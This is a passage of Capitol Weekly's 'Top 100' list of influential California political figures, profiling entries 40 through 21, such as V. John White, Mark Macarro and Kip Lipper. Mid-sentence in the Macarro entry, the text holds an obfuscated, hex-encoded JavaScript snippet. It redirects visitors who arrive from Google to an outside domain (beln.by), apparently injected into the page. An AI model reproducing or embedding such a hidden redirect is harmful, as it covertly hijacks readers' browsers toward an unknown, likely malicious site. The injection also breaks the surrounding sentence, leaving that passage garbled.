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Capitol Weekly’s Top 100

40. V. John White
V. John White is the veteran executive director of the Center for Energy Efficiency and Renewable Technologies and a lobbyist for a number of alternative-energy companies, which means he not only spreads the gospel for solar power and conservation, but also serves as an advocate for their use. White – “V. John” in the Capitol – is a walking encyclopedia of all things energy related. If the issue is energy, “V. John” either created it, knows about it, has something to do with it or is lobbying for or against it. The demand for White’s expertise can only increase exponentially because of increasing debates over fossil fuels, concerns about climate change, the search for ever-cleaner alternative energy sources, the increasing public support for alternative energy, and the like. It’s a billion-dollar landscape and it seems to be getting larger. And while nobody has ever tracked this, our guess is that V. John has the most frequent flyer miles of anyone in Sacramento lobbying community.

39.Mark Macarro
The question of tribal gaming has been a public policy debate in California for a generation, but there is little doubt that over time, public acceptance of tribal gaming has increased. One reason for that change is Mark Macarro, the chairman of the Pechanga Band of Luiseno Indians, who was on the ground floor of making tribal gaming acceptable to the public: He supported critical ballot propositions and he put the issue front and center in the Capitol. The discussion is not limited to reservation gaming: The decision by lawmakers to approve an off-reservation casino near Madera may var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]} serve as a template for other off-reservation facilities in at least three locations across California. Macarro has been described as a successor to the mantle of Richard Milanovich, the legendary chairman of the Agua Caliente Band of Cahuilla Indians, who died last year. As negotiations heat up this year and next over online gaming, the pressures on Macarro are all but certain to increase.

38.Robert Ross
Robert Ross came to California 20 years ago to serve as the director of San Diego County’s Health and Human Services Agency. Today, he’s involved in healthcare across the state as a member of the board of the California Health Benefit Exchange. An M.D. who has worked on a variety of public health projects in California and nationwide, Ross’ expertise stems from his experience. Between his leadership in establishing one of the first state health exchanges under the Affordable Care Act and his crucial role as president and CEO of the California Endowment, Ross is at a critical place in defining health issues in California. His practical experience isn’t the only factor bolstering Ross’ healthcare credentials: He grew up in a housing project in the South Bronx and is a forceful advocate to address social issues relating to health, such as racial, economic and gender disparities in access to care.

37.Greg Campbell
Greg Campbell has been a legislative staffer for more than 20 years, and his current gig is at the top of the heap – chief of staff to Assembly Speaker John Pérez. The youthful Campbell knows the terrain — he’s about 40 and looks younger – and has worked in various leadership capacities through four speakerships and has become an institutional part of the Assembly’s power structure. The chief of staff is part political operative, part employee manager, part soother of the caucus and part communications strategist, characteristics that have to be coupled with solid social skills. It also helps to have a crystal ball: Having a sense when dormant issues are ready to draw public attention is indispensable. He’s back on the job after recuperating from major surgery. Gov. Brown had called and asked if there was anything he could do. Ever the political staffer, Campbell said yes, sign the speaker’s bill to expand Medi-Cal coverage. “I’m doing great because I have health insurance,” he told the governor.

36.Lou Paulson
One reason why the California electorate, despite the early predictions of pundits, approved Gov. Brown’s effort to raise taxes in Proposition 30 is Lou Paulson, who has run the 30,000-member California Professional Firefighters for the past nine years. Paulson chaired the labor coalition, the Alliance for a Better California, that had been formed to take out Proposition 32, which sought to cripple the unions’ ability to raise money. Proposition 32 was defeated as labor and its allies turned out in force, and that helped Brown’s Proposition 30, which raised money through temporary tax hikes to keep the government afloat. It’s the kind of labor-business hardball politics common in Sacramento, and the CPF seems to be in most of the battles. One of CPF’s strengths is that almost everybody – the public, the lawmakers, the kids in school – love firefighters. But that seems to evaporate each year at budget time when politicians look for places to cut, and that’s when CPF starts girding for battle.

35.Eric Bauman
In L.A., where Democrats and labor rule, Eric C. Bauman is a power to be reckoned with. He’s in his sixth term as chair of the L.A. County Democratic Party, vice-chair of the state Democratic Party and head of the L.A. office of the Speaker’s Office of Member Services, which mounts political operations and which answers to Assembly Speaker John Pérez. Bauman also is a senior adviser to Pérez, who rose to political power by coming up through the ranks of organized labor in Los Angeles. All these connections and positions mean that Bauman is the go-to person for Democratic issues in sprawling L.A. County, the state’s largest with more than a fourth of all California voters. Bauman’s canny political instincts, combined with what many in L.A. say is an intimidating manner, has scored numerous successes, although some think the Dems and labor in L.A. stumbled in the spring, when internal divisions surfaced during the race for mayor between Democrats Wendy Greuel and Eric Garcetti, divisions that lingered through the election.

34.Phil Isenberg
Phil Isenberg, a distinguished smarty pants – note, we said “distinguished” and not “elderly” – invariably is at the center of the hot issue of the day, and this time it’s water. He is the chair of the Delta Stewardship Council which, among other things, has enormous influence on the latest great water policy issue: Will the state go forward with a $24.5 billion plan to build huge tunnels in the Sacramento-San Joaquin River Delta to move more Northern California water to the south? Getting more headed south is not a new idea (see SB 200, 1982), but little has changed in the urgency of the issue: A lot is riding on the answer. A former mayor of Sacramento, a former Assembly member and top lieutenant to then-Speaker Willie Brown, a former lobbyist, as well as devoted art lover and patron, Isenberg is as much Renaissance Man as political player, and seems pleased with both roles.

33.Barry Broad
Barry Broad, an attorney and committed labor advocate with wide influence, is intriguing on a number of levels. First, he’s a lobbyist with long experience in the Capitol’s wars, representing such heavy hitters as the Teamsters Public Affairs Council, the Jockey Guild and the Unite Here International Union. Second, the word “Teamster” may conjure up visions of a scrappy striker walking a picket line – and Broad may well have done that – but in appearance, he resembles more a canny company executive deep in Human Resources. Third, he’s the Capitol’s answer to Ian Fleming: He’s an adventure-spy novelist of solid talent, and a friend of ours who admires his work says he writes a good read indeed. That makes him an object of admiration to reporters – and it’s not easy to win kudos from newsies hunting the dark side of everything and everyone.

32.Kathy Dresslar
Senate Leader Darrell Steinberg’s chief of staff is Kathy Dresslar, which means she serves at the core of the upper house’s administrative level. She coordinates policy, handles hiring and firing, and makes sure the Leader’s goals are successfully – hopefully — turned into action. Her task is part political, part administrative and part policy, and day to day her work activity probably is akin to herding cats. She was a senior advocate for the Children’s Policy Institute, a legislator and chief of staff in the Assembly and former chief of staff to S.F. Sen. Mark Leno. One aspect of Capitol life clearly has made her task more difficult: The Senate in recent years has lost a cadre of talented staff, including health czar David Panush who went to the office implementing the Affordable Care Act, and Brian Kelly, who handled myriad chores in the Senate and who now handles Transportation, with authority over the high-speed rail program, among other chores.

31.Angie Wei
The California Labor Federation is affiliated with some 1,200 unions representing 2.1 million workers, and the Labor Fed’s legislative director is Angie Wei, who is battling for workers’ interests on so many fronts that it’s often hard to keep track. But if there’s a major union fight anywhere in the state, the chances are that Wei is somewhere close by, and a more accurate description of “legislative director” is probably “crusader.” Despite the Labor Fed’s size, Wei and her allies are really underdogs, at least financially, because anti-labor big-business interests, overall, engage in far greater political spending than labor. But labor’s ability to call out the foot soldiers in elections helps even things out, as does pushing for labor-friendly legislation in the Capitol among supportive Democrats. Those supporters usually – but not always – include Gov. Brown, there are assorted stresses within the labor movement. And that’s where Wei comes in. She also serves as chair of the California Commission on Health, Safety and Workers Compensation.

30.Scott Wetch
Not surprisingly, this list is heavy with organized labor’s top players – a category that includes Scott Wetch. Wetch of Carter Wetch and Associates, is an aggressive, go-to person for the pipe trades and electrical workers unions, among a host of other clients. His unions have gone contrary to many other powerful labor groups on key issues like the implementation of the state’s greenhouse gas law, and his is not a household name in the state. But in the Capitol, where he served for 12 years in both houses, Wetch was a key aide to top figures, including David Roberti, Jack Scott and Mike Thompson, and was consultant for several committees, including Senate Housing and Assembly Insurance. He gained wide attention two years ago for winning what Capitol Weekly called “one of the oddest most passionate political fights” in which he spearheaded a bill over the opposition of the nurses to allow school employees to administer medication to students caught in epileptic seizures.

29.Donna Lucas
Communications strategist Donna Lucas of Lucas Public Affairs worked as a campaign press aide and learned the insides of the Capitol during the Deukmejian administration. She learned her lessons well: She has developed into a major communications force and is a go-to person for companies and people — State Fund, Chevron, Maria Shriver (Lucas was Shriver’s chief of staff), assorted businesses, health care issues, etc. — looking for communications advice in the Byzantine world of Capitol politics. She’s also connected: Her brother is top Senate staffer Kip Lipper, a gatekeeper for major environmental legislation in the Capitol, and her husband is Greg Lucas, the former Sacramento bureau chief of the San Francisco Chronicle and perhaps the best-sourced newsie in the Capitol. Greg, by the way, publishes “California’s Capitol,” is a contributing editor to Capitol Weekly and hosts our “Politics on Tap” TV show. When we created Open California, a public benefit corporation to publish Capitol Weekly, we needed a board of directors — she was our first call.

28.Brian Kelly
When the California Transportation Agency was reorganized earlier this summer, Brian Kelly was named the new Secretary of Transportation. No surprise: He had been serving on an interim basis and the appointment was widely expected. Kelly has been an influential player in the Capitol for years, well known in the Senate as a go-to person with a broad policy portfolio. Kelly was fresh out of college when he began working in the Capitol in 1994 for the Democratic Caucus. He was only there a year before he moved along to work as a consultant and negotiator for the next four democratic Senate leaders. He didn’t leave the Legislature until 2012, when he became undersecretary and then quickly acting secretary of what was, prior to the reorganization, the California Business, Transportation, and Housing Agency. At just 44, Kelly has already made the most of his nearly 20 years working in the Capitol and risen through the ranks— and the top 100 list — at a rapid speed.

27.Rex Frazier
Rex Frazier, a former top lawyer at the Department of Insurance, is the president of the Personal Insurance Federation of California, a trade group that represents only a handful of insurers, but they include heavy hitters – including as State Farm, Allstate, Mercury and Farmers. Frazier is a lawyer by training, a professor at the McGeorge School of Law by inclination, and a political junkie by temperament. His job is to make sure that PIFC protects its own, usually by battling any number of consumer groups fighting to whack his companies. He does that by backing candidates who are helpful, or at least not hostile, to his industry. In today’s world of Democratic supermajorities, that also means that Frazier takes careful aim at the moderates – a target-rich environment. He moves a lot of money around at election time, and while he’s not often quoted in news accounts, he is well-known in the Capitol as a first-tier player.

26.Rick Claussen
Rick Claussen, a principal in the newly formed Redwood Pacific political consulting firm, is a veteran strategist with more than 30 years in the business who handles not only California campaigns but does national chores as well. Claussen, who leans Republican, doesn’t do candidates, he does ballot measures. He successfully managed the Proposition 11 campaign that created California’s first independent commission to draw legislative political boundaries. Two years later in 2010, he did the same thing to expand the commission’s authority to include congressional districts. That commish now is being viewed as a national model. Claussen’s successes included the defeat of Proposition 24, which would have halted a $1.4 billion business tax break, and the passage of Proposition 26, which made it harder for lawmakers to raise taxes and fees. Redwood Pacific is a joining of the firms of the Ginsberg-McLear Group and Goddard Claussen, and includes Aaron McLear, press secretary to former Gov. Arnold Schwarzenegger.

25.Catherine Reheis-Boyd
Catherine Reheis-Boyd is the president of the Western States Petroleum Association. WSPA’s members are a “who’s who” of Big Oil, including BP, Chevron, ConocoPhillips, ExxonMobil and many more, and Reheis-Boyd has been the point person for the industry’s public response to AB32 and, more recently, fracking. WSPA is behind efforts to expand the use of fracking – hydraulic fracturing — to exploit the Monterey Shale Formation, a deposit below the San Joaquin Valley which is estimated to contain about two-thirds of the United States’s total shale oil reserves – over 15 billion barrels. With the Legislature and the Governor sending smoke signals of support, the fight over fracking is heating up and Reheis-Boyd is making sure WSPA’s members are well-represented at the Capitol. According to the secretary of state, WSPA spent the most on lobbying in Sacramento in the first six months of 2013 of any interest group – just over $1 million in the first quarter and nearly $1.29 million in the second, a total of $2.3 million.

24.Rob Lapsley
Rob Lapsley is the president of the California Business Roundtable, a nonpartisan pro-business group that is much smaller than the Chamber of Commerce but with similar goals. The Roundtable, comprised of senior executives from around the state, seeks a better business climate and includes improvements in infrastructure and public education as a way to get there. The group also favors easing regulations and a tax overhaul – common themes of most business groups – but the Roundtable also has a strong research component, in part to serve as a basis for any legislation it may support, and seems to eschew the marketing rhetoric of “job killer bills” so favored by the Chamber – and others. Lapsley, a former vice president of the Chamber, ran JobsPac, the Chamber’s powerful political arm and independent expenditure committee. Lapsley, an Air Force veteran, earlier served as chief of staff to Secretary of State Bill Jones.

23.Kip Lipper
There are a few staffers in the Capitol who wield enormous influence over their policy specialty, and Kip Lipper is one of them. He is the environmental policy guru for the Senate, and every — and we mean every — major piece of environmental legislation has his fingerprints, and many of the minor ones, too. Lipper was a long-time aide to former Sen. Byron Sher, a deal-cutting icon to environmentalists. For the past year, Lipper has cast a careful eye on attempts to ease CEQA, and he’s in a perpetual struggle to fight the wholesale erosion of the powers of environmental regulatory bodies or attempts to streamline statutes in order to give polluters and developers a pass. He analyzes legislation, brokers agreements, serves as the Senate’s environmental hardball player and does myriad chores. In the Capitol, when he’s signed off on a bill, it’s been “Lipperized,” a term that evokes equal measures of fear and respect, depending on who’s using it.

22.Dave Low
Dave Low, a UC Berkeley grad in business administration, is on just about everybody’s list of Top 100 names, and we agree. Low has been at the California School Employees Association for 32 years and rose through the ranks to become executive director. He’s done it all: union organizing, local campaigns in San Francisco and San Mateo, Personnel Board hearings, grievances, arbitration, contracts, bargaining, and of course union rep and union steward. In addition to staff management, his interests include legislative and political issues for CSEA, which represents over 200,000 classified employees in California’s public schools, community colleges and peace officers in the California State Universities. He’s also chairman of Californians for Health Care and Retirement Security, which has taken the lead in the fight against rolling back public pensions. By the way, CSEA is the largest union of school classified employees in the United States.

21. Willie Pelote Sr.
AFSCME, like most of organized labor, got a friend in the governor’s office for the first time in years when Jerry Brown was elected and Willie Pelote intends to make the most of it. The American Federation of State, County and Municipal Employees parted ways with Brown over his attempt to abolish redevelopment agencies, but nobody can bat a thousand all the time and on virtually every other major issue, AFSCME is in sync with the governor. Pelote’s Capitol savvy – years ago he worked as a sergeant at arms in the building – is paying dividends now. The straight-talking Pelote’s vigorous and unabashed support for his public-employee members has drawn fierce fire from Republicans and pension-cutters over the years, but AFSCME’s fiscal clout is even more fierce — by one estimate, the union coalition has spent more than $23.6 million on political causes in the past decade. Pension and health-care security are at the top of AFSCME’s list.


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